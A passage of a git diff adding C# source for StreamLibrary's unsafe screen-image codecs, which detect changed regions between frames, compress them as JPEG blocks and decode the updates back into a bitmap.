int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth);
|
||||
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||
{
|
||||
FoundChanges = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (FoundChanges)
|
||||
{
|
||||
int index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//maybe a too hard algorithm but oh well
|
||||
SortedList<int, SortedList<int, Rectangle>> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows();
|
||||
List<Rectangle> FinalTemp = new List<Rectangle>();
|
||||
|
||||
for (int i = 0; i < Array.Values.Count; i++)
|
||||
{
|
||||
FinalTemp.AddRange(Array.Values[i].Values);
|
||||
}
|
||||
|
||||
//fixup the height
|
||||
for (int i = 0; i < FinalTemp.Count; )
|
||||
{
|
||||
if (FinalTemp.Count == 1)
|
||||
{
|
||||
FinalTemp.Add(FinalTemp[i]);
|
||||
break;
|
||||
}
|
||||
|
||||
if (i + 1 < FinalTemp.Count)
|
||||
{
|
||||
Rectangle curRect = FinalTemp[i];
|
||||
Rectangle nextRect = FinalTemp[i + 1];
|
||||
if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width)
|
||||
{
|
||||
FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height);
|
||||
FinalTemp.RemoveAt(i + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
i++;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//copy changes to the EncodeBuffer and Process the Output
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < FinalTemp.Count; i++)
|
||||
{
|
||||
Rectangle rect = FinalTemp[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
//copy changes to EncodeBuffer
|
||||
for (int y = rect.Y; y < rect.Y + rect.Height; y++)
|
||||
{
|
||||
int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width);
|
||||
NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,473 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeOptimizedCodec : IUnsafeCodec
|
||||
{
|
||||
private class PopulairPoint
|
||||
{
|
||||
public Rectangle Rect;
|
||||
public int Score;
|
||||
public Stopwatch LastUpdate;
|
||||
|
||||
public PopulairPoint(Rectangle rect)
|
||||
{
|
||||
this.Rect = rect;
|
||||
this.Score = 0;
|
||||
this.LastUpdate = Stopwatch.StartNew();
|
||||
}
|
||||
}
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private List<PopulairPoint> populairPoints;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
private Stopwatch ScreenRefreshSW = Stopwatch.StartNew();
|
||||
|
||||
//options
|
||||
/// <summary> If a part in the image is been changing for the last x milliseconds it will be seen as a video </summary>
|
||||
public uint AliveTimeForBeingVideo = 5000;
|
||||
/// <summary> This will check if the video went away or stopped playing so it will refresh the other parts in the image </summary>
|
||||
public uint ScreenRefreshTimer = 2000;
|
||||
/// <summary> The size for being a video, if bigger or equal to the VideoScreenSize it must be a video </summary>
|
||||
public Size VideoScreenSize = new Size(100, 100);
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of UnsafeOptimizedCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeOptimizedCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.populairPoints = new List<PopulairPoint>();
|
||||
this.CheckBlock = new Size(15, 1);
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer)
|
||||
{
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5)
|
||||
{
|
||||
populairPoints.RemoveAt(i);
|
||||
}
|
||||
}
|
||||
ScreenRefreshSW = Stopwatch.StartNew();
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
PopulairPoint[] points = GetPossibleVideos();
|
||||
if (points.Length > 0)
|
||||
{
|
||||
ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y);
|
||||
}
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
if (points.Length == 0) //only scan if there is no video
|
||||
{
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
{
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = ScanArea.X;
|
||||
while (x != ScanArea.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool FoundChanges = false;
|
||||
int blockStride = PixelSize * cBlock.Width;
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
|
||||
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||
FoundChanges = true;
|
||||
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (FoundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(points[0].Rect);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||
{
|
||||
PopulairPoint point = null;
|
||||
if (GetPopulairPoint(rect, ref point))
|
||||
{
|
||||
point.Score++;
|
||||
point.LastUpdate = Stopwatch.StartNew();
|
||||
//Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||
}
|
||||
else
|
||||
{
|
||||
populairPoints.Add(new PopulairPoint(rect));
|
||||
}
|
||||
}
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
/*for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
buffer = new byte[blockStride * rect.Height];
|
||||
|
||||
fixed (byte* ptr = buffer)
|
||||
{
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
|
||||
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||
{
|
||||
PopulairPoint point = null;
|
||||
if (GetPopulairPoint(rect, ref point))
|
||||
{
|
||||
point.Score++;
|
||||
point.LastUpdate = Stopwatch.StartNew();
|
||||
Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||
}
|
||||
else
|
||||
{
|
||||
populairPoints.Add(new PopulairPoint(rect));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 5);
|
||||
}*/
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed(byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint)
|
||||
{
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
PopulairPoint point = populairPoints[i];
|
||||
if (point.Rect.Width == rect.Width &&
|
||||
point.Rect.Height == rect.Height &&
|
||||
point.Rect.X == rect.X &&
|
||||
point.Rect.Y == rect.Y)
|
||||
{
|
||||
PopuPoint = populairPoints[i];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private PopulairPoint[] GetPossibleVideos()
|
||||
{
|
||||
List<PopulairPoint> points = new List<PopulairPoint>();
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
if (populairPoints[i].Score > 30)
|
||||
{
|
||||
points.Add(populairPoints[i]);
|
||||
}
|
||||
}
|
||||
return points.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,285 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeQuickStream : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize { get; internal set; }
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private ulong[] EncodeBuffer;
|
||||
|
||||
private int BlockWidth = 0;
|
||||
private int BlockHeight = 0;
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
public List<Rectangle> VerifyPoints = null;
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
public UnsafeQuickStream(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.CheckBlock = new Size(50, 50);//width must be bigger then 3
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = InputSize.Width * PixelSize;
|
||||
RawLength = Stride * InputSize.Height;
|
||||
|
||||
|
||||
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = OutputRect.Width;
|
||||
this.EncodedHeight = OutputRect.Height;
|
||||
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
return;
|
||||
}
|
||||
|
||||
List<Rectangle> Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width);
|
||||
|
||||
VerifyPoints = Points;
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
for (int i = 0; i < Points.Count; i++)
|
||||
{
|
||||
Rectangle rect = Points[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
